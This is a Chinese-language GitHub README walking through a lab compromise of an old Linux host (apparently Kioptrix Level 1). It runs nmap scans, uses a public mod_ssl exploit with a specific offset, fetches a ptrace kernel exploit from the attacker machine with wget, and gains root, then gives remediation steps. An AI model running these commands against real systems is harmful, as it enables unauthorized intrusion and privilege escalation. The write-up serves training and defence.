anilkashyap01/Binary-Exploitation-and-Kernel-Escalation
GitHub: anilkashyap01/Binary-Exploitation-and-Kernel-Escalation
一个展示如何利用旧版 mod_ssl 与 Linux 内核竞争条件实现从低权到 root 提权的安全研究项目。
Stars: 0 | Forks: 0
# 二进制利用与内核提权
通过识别并利用配置错误和过时的软件,获得了root级别的访问权限。mod_ssl(CVE-2002-0082)版本过旧存在缓冲区溢出漏洞。随后利用Linux内核“ptrace”工具的竞争条件(CVE-2003-0127)实现了权限提升。
## 阶段1:侦察与枚举
首先识别192.168.56.0/24子网中的目标IP地址。
**主机发现:**
sudo nmap -sn 192.168.56.0/24
结果:目标位于192.168.56.105。
**端口扫描与服务枚举:**
执行了一次全面的Nmap扫描,以识别开放端口、运行的服务和操作系统详细信息。
sudo nmap -sS -sV -O -p- -oA lab_full_scan1 192.168.56.105
关键发现:
```
Port 80/tcp & 443/tcp: Running Apache httpd 1.3.20 with mod_ssl/2.8.4 and OpenSSL/0.9.6b.
Port 22/tcp: Running OpenSSH 2.9p2.
Port 139/tcp: Running Samba smbd.
OS Detection: Linux Kernel 2.4.X (likely 2.4.9 - 2.4.18).
```
过旧的Apache和mod_ssl版本立即成为初始访问的高概率攻击向量。
## 阶段2:初始访问(利用)
**通过searchsploit数据库确认,mod_ssl 2.8.4存在已知的远程缓冲区溢出漏洞。**
searchsploit mod_ssl 2.8
我确定OpenFuckV2.c(EDB-ID: 47080)是针对此漏洞最可靠的载荷。我将 exploits 镜像到本地主机并使用所需的加密库进行编译。
**利用编译:**
searchsploit -m 47080
gcc -o OpenFuck 47080.c -lcrypto
运行不带参数的编译二进制文件提供了支持的偏移量列表。通过将偏移量与目标的特定操作系统和Apache版本(Red-Hat Linux,Apache 1.3.20)匹配,我确定正确的偏移量为0x6b。
执行:
./OpenFuck 0x6b 192.168.56.105 443 -c 40
该利用成功强制触发缓冲区溢出,以apache用户身份获得低权限shell。
bash-2.05$ whoami
apache
**阶段3:权限提升**
方法说明:OpenFuck利用尝试使用wget从远程服务器自动下载二级权限提升载荷(ptrace-kmod.c)。然而,由于目标环境没有外网访问能力,此自动步骤失败(解析结果为“主机未找到”)。我转而进行手动枚举和利用。
**系统枚举:**
bash-2.05$ uname -a
Linux kioptrix.level1 2.4.7-10 #1 Thu Sep 6 16:46:36 EDT 2001 i686 unknown
系统运行的内核版本高度易受攻击:2.4.7-10。搜索针对该特定Linux内核的本地权限提升漏洞,发现了一个利用ptrace/kmod的本地权限提升漏洞。
载荷准备:
我在本地找到该利用(EDB-ID: 3),并通过攻击机上的Python HTTP服务器提供以方便传输。
攻击主机:
searchsploit -m 3
python3 -m http.server 8000
**目标机器:**
cd /tmp
wget http://192.168.56.1:8000/3.c
3.c源代码成功传输到目标的/tmp目录,我在目标机器上编译并执行它。
**执行与root权限获取:**
gcc 3.c -o exploit
./exploit
whoami
root
id
**uid=0(root) gid=0(root) groups=0(root),1(bin),2(daemon),3(sys),4(adm),6(disk),10(wheel)**
成功利用ptrace竞争条件,将权限从apache守护进程提升到root。实现了系统完全控制。
## 阶段4:修复
**为防止系统被利用的漏洞攻击:**
1. 更新Web服务:必须将Apache服务器更新到最新的稳定版本,以修补CVE-2002-0082缓冲区溢出漏洞,该漏洞允许未经身份验证的远程代码执行。
2. 内核补丁:Linux内核(2.4.7-10)易受多个本地权限提升漏洞攻击,包括ptrace(kmod)竞争条件。操作系统内核必须升级到现代、受支持的版本。
3. 网络分段与出口过滤:服务器应部署在限制不必要出口流量的防火墙后。尽管在此离线实验中自动wget失败,但出口过滤将防止被攻破的Web应用程序在真实环境中从互联网拉取二级恶意载荷。
标签:Apache, Binary Exploitation, CTI, CVE-2002-0082, CVE-2003-0127, Host Discovery, Linux内核, Mod_ssl, Nmap, OpenSSL, Ptrace, Race Condition, Root权限, searchsploit, Web报告查看器, 云资产清单, 协议分析, 反取证, 安全评估, 搜索利用, 数据统计, 权限提升, 端口扫描, 缓冲区溢出, 虚拟驱动器, 逆向工具, 逆向工程